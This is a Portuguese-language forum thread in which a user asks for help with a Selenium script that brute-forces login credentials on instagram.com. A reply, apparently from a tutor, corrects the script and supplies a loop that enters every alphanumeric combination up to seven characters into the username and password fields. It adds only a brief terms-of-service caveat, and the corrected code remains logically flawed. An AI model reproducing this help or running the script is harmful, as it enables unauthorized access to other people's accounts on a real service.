1
resposta

Construindo uma automação com o Selenium e itertools + string

Fiz uma automação com o selenium que aparentemente a execução foi OK, mas ele está fechando o navegador antes de concluir o que foi passado no script. Como mostrado no código abaixo, ele é pra encontrar todos NAMES que contém username and password do site do instagram e com o itertools.product tentar com os caracteres passados com o string um brute force. O que está faltando??

import itertools
from selenium import webdriver # type: ignore
from selenium.webdriver.common.by import By # type: ignore
from selenium.webdriver.common.by import By # type: ignore
from selenium.webdriver.support.wait import WebDriverWait # type: ignore
from selenium.webdriver.support import expected_conditions as EC  # type: ignore
from selenium.webdriver.common.keys import Keys  # type: ignore
import sys
import string

site = webdriver.Chrome()
site.get('https://www.instagram.com')
temp = 10
def cracker():
    while True:
        try:
            for elem in WebDriverWait(site, temp).until(EC.presence_of_element_located(By.NAME, 'username', 'password')):
                if elem == string.ascii_lowercase + string.ascii_uppercase + string.digits:
                    for size in range(1, 8):
                        for shot in itertools.product(size, repeat=elem):
                            result = shot.send_keys(Keys.ENTER)
        except Exception as e:
            sys.exit()
1 resposta

Olá, Andre! Tudo bem?

Isso pode ocorrer por alguns motivos, mas vamos analisar o seu código e ver algumas sugestões de melhorias e correções:

  1. Uso do WebDriverWait e EC.presence_of_element_located: A forma como você está tentando localizar os elementos 'username' e 'password' não está correta. A função presence_of_element_located espera um único elemento, mas você está passando dois nomes. Tente localizar um elemento por vez:

    username_elem = WebDriverWait(site, temp).until(EC.presence_of_element_located((By.NAME, 'username')))
    password_elem = WebDriverWait(site, temp).until(EC.presence_of_element_located((By.NAME, 'password')))
    
  2. Uso do itertools.product: Parece que há um engano no uso do itertools.product. O primeiro argumento deve ser o iterável de caracteres, e o segundo argumento deve ser o tamanho da combinação. Além disso, send_keys deve ser chamado em um elemento, e não no resultado de itertools.product.

    for size in range(1, 8):
        for shot in itertools.product(string.ascii_lowercase + string.ascii_uppercase + string.digits, repeat=size):
            username_elem.send_keys(''.join(shot))
            password_elem.send_keys(''.join(shot))
            password_elem.send_keys(Keys.ENTER)
    
  3. Tratamento de exceções: O uso de sys.exit() dentro do except pode estar fazendo com que o script termine abruptamente. Considere usar continue ou break dependendo do comportamento desejado.

  4. Fechamento do navegador: Se o navegador está fechando, pode ser que o script esteja terminando devido a uma exceção não tratada. Certifique-se de que todas as exceções são tratadas adequadamente e que o navegador só é fechado quando necessário.

Espero que essas sugestões ajudem a corrigir o problema no seu script. Lembre-se de que o uso de brute force pode ser contra os termos de serviço de muitos sites, então é importante usar esse tipo de automação apenas em ambientes controlados e com permissão.

Espero ter ajudado e bons estudos!

Caso este post tenha lhe ajudado, por favor, marcar como solucionado ✓.